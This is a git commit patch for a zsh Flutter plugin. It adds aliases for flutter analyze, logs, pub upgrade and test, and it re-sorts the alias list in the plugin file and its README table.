feat(flutter): Added aliases for test, analyze, dependencies upgrade and logs (#13492) * Added Flutter aliases for test, analyze, dependencies upgrade and logs * sorted the aliases --- plugins/flutter/README.md | 12 ++++++++---- plugins/flutter/flutter.plugin.zsh | 10 +++++++--- 2 files changed, 15 insertions(+), 7 deletions(-) diff --git a/plugins/flutter/README.md b/plugins/flutter/README.md index e5a4fd2ea..a12c77c02 100644 --- a/plugins/flutter/README.md +++ b/plugins/flutter/README.md @@ -13,16 +13,20 @@ plugins=(... flutter) | Alias | Command | Description | | :--------- | :---------------------- | :------------------------------------------------------------------------- | | `fl` | `flutter` | Shorthand for flutter command | +| `fla` | `flutter analyze` | Analyzes flutter code | | `flattach` | `flutter attach` | Attaches flutter to a running flutter application with enabled observatory | | `flb` | `flutter build` | Build flutter application | -| `flchnl` | `flutter channel` | Switches flutter channel (requires input of desired channel) | | `flc` | `flutter clean` | Cleans flutter project | -| `fldvcs` | `flutter devices` | List connected devices (if any) | +| `flchnl` | `flutter channel` | Switches flutter channel (requires input of desired channel) | | `fldoc` | `flutter doctor` | Runs flutter doctor | -| `flpub` | `flutter pub` | Shorthand for flutter pub command | +| `fldvcs` | `flutter devices` | List connected devices (if any) | | `flget` | `flutter pub get` | Installs dependencies | +| `fll` | `flutter logs` | Shows flutter logs | +| `flpu` | `flutter pub upgrade` | Upgrades dependencies | +| `flpub` | `flutter pub` | Shorthand for flutter pub command | | `flr` | `flutter run` | Runs flutter app | | `flrd` | `flutter run --debug` | Runs flutter app in debug mode (default mode) | | `flrp` | `flutter run --profile` | Runs flutter app in profile mode | | `flrr` | `flutter run --release` | Runs flutter app in release mode | -| `flupgrd` | `flutter upgrade` | Upgrades flutter version depending on the current channel | +| `flt` | `flutter test` | Runs flutter tests | +| `flupgrd` | `flutter upgrade` | Upgrades flutter version depending on the current channel | \ No newline at end of file diff --git a/plugins/flutter/flutter.plugin.zsh b/plugins/flutter/flutter.plugin.zsh index 5e853b78f..db8f5d389 100644 --- a/plugins/flutter/flutter.plugin.zsh +++ b/plugins/flutter/flutter.plugin.zsh @@ -1,16 +1,20 @@ alias fl="flutter" +alias fla="flutter analyze" alias flattach="flutter attach" alias flb="flutter build" -alias flchnl="flutter channel" alias flc="flutter clean" -alias fldvcs="flutter devices" +alias flchnl="flutter channel" alias fldoc="flutter doctor" -alias flpub="flutter pub" +alias fldvcs="flutter devices" alias flget="flutter pub get" +alias fll="flutter logs" +alias flpu="flutter pub upgrade" +alias flpub="flutter pub" alias flr="flutter run" alias flrd="flutter run --debug" alias flrp="flutter run --profile" alias flrr="flutter run --release" +alias flt="flutter test" alias flupgrd="flutter upgrade" # COMPLETION FUNCTION